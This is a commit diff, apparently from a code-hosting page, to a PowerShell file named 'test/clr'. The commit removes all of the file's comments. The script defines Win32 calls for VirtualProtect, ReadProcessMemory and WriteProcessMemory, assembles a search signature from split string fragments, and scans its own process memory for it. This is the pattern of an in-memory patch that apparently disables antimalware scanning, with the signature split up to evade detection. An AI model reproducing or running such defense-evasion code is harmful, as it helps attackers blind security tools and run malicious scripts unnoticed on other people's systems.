enotkrutoy commited on
Commit
bbc62f1
·
verified ·
1 Parent(s): 138f956

Update test/clr

Browse files
Files changed (1) hide show
  1. test/clr +18 -15
test/clr CHANGED
@@ -1,9 +1,12 @@
1
- # Define Constants
2
  $PAGE_READONLY = 0x02
 
3
  $PAGE_READWRITE = 0x04
4
  $PAGE_EXECUTE_READWRITE = 0x40
 
5
  $PAGE_EXECUTE_READ = 0x20
6
  $PAGE_GUARD = 0x100
 
7
  $MEM_COMMIT = 0x1000
8
  $MAX_PATH = 260
9
 
@@ -30,7 +33,7 @@ if ($PSVersionTable.PSVersion.Major -gt 2) {
30
  $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
31
  $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)
32
 
33
- # Define structs
34
  $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
35
  [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
36
  [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
@@ -42,7 +45,7 @@ if ($PSVersionTable.PSVersion.Major -gt 2) {
42
  [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
43
  $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()
44
 
45
- # Define structs
46
  $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
47
  [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
48
  [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
@@ -59,38 +62,38 @@ if ($PSVersionTable.PSVersion.Major -gt 2) {
59
  [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
60
  $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()
61
 
62
- # P/Invoke Methods
63
  $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
64
  $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
65
  $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
66
  $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))
67
 
68
- # Define [Win32.Kernel32]::VirtualProtect
69
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
70
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
71
 
72
- # Define [Win32.Kernel32]::GetCurrentProcess
73
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
74
 
75
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
76
 
77
- # Define [Win32.Kernel32]::VirtualQuery
78
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
79
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
80
 
81
- # Define [Win32.Kernel32]::GetSystemInfo
82
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
83
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
84
 
85
- # Define [Win32.Kernel32]::GetMappedFileName
86
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
87
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
88
 
89
- # Define [Win32.Kernel32]::ReadProcessMemory
90
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
91
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
92
 
93
- # Define [Win32.Kernel32]::WriteProcessMemory
94
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
95
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
96
 
@@ -103,15 +106,15 @@ if ($PSVersionTable.PSVersion.Major -gt 2) {
103
  $signature = [System.Text.Encoding]::UTF8.GetBytes($aa + $b + $l + $d)
104
  $hProcess = [Win32.Kernel32]::GetCurrentProcess()
105
 
106
- # Get system information
107
  $sysInfo = New-Object Win32.SYSTEM_INFO
108
  [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)
109
 
110
- # List of memory regions to scan
111
  $memoryRegions = @()
112
  $address = [IntPtr]::Zero
113
 
114
- # Scan through memory regions
115
  while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {
116
  $memInfo = New-Object Win32.MEMORY_INFO_BASIC
117
  if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {
@@ -123,7 +126,7 @@ if ($PSVersionTable.PSVersion.Major -gt 2) {
123
 
124
  $count = 0
125
 
126
- # Loop through memory regions
127
  foreach ($region in $memoryRegions) {
128
  # Check if the region is readable and writable
129
  if (-not (IsReadable $region.Protect $region.State)) {
 
1
+
2
  $PAGE_READONLY = 0x02
3
+
4
  $PAGE_READWRITE = 0x04
5
  $PAGE_EXECUTE_READWRITE = 0x40
6
+
7
  $PAGE_EXECUTE_READ = 0x20
8
  $PAGE_GUARD = 0x100
9
+
10
  $MEM_COMMIT = 0x1000
11
  $MAX_PATH = 260
12
 
 
33
  $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
34
  $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)
35
 
36
+
37
  $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
38
  [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
39
  [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
 
45
  [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
46
  $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()
47
 
48
+
49
  $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
50
  [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
51
  [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
 
62
  [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
63
  $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()
64
 
65
+
66
  $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
67
  $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
68
  $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
69
  $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))
70
 
71
+
72
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
73
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
74
 
75
+
76
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
77
 
78
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
79
 
80
+
81
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
82
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
83
 
84
+
85
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
86
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
87
 
88
+
89
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
90
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
91
 
92
+
93
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
94
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
95
 
96
+
97
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
98
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
99
 
 
106
  $signature = [System.Text.Encoding]::UTF8.GetBytes($aa + $b + $l + $d)
107
  $hProcess = [Win32.Kernel32]::GetCurrentProcess()
108
 
109
+
110
  $sysInfo = New-Object Win32.SYSTEM_INFO
111
  [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)
112
 
113
+
114
  $memoryRegions = @()
115
  $address = [IntPtr]::Zero
116
 
117
+
118
  while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {
119
  $memInfo = New-Object Win32.MEMORY_INFO_BASIC
120
  if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {
 
126
 
127
  $count = 0
128
 
129
+
130
  foreach ($region in $memoryRegions) {
131
  # Check if the region is readable and writable
132
  if (-not (IsReadable $region.Protect $region.State)) {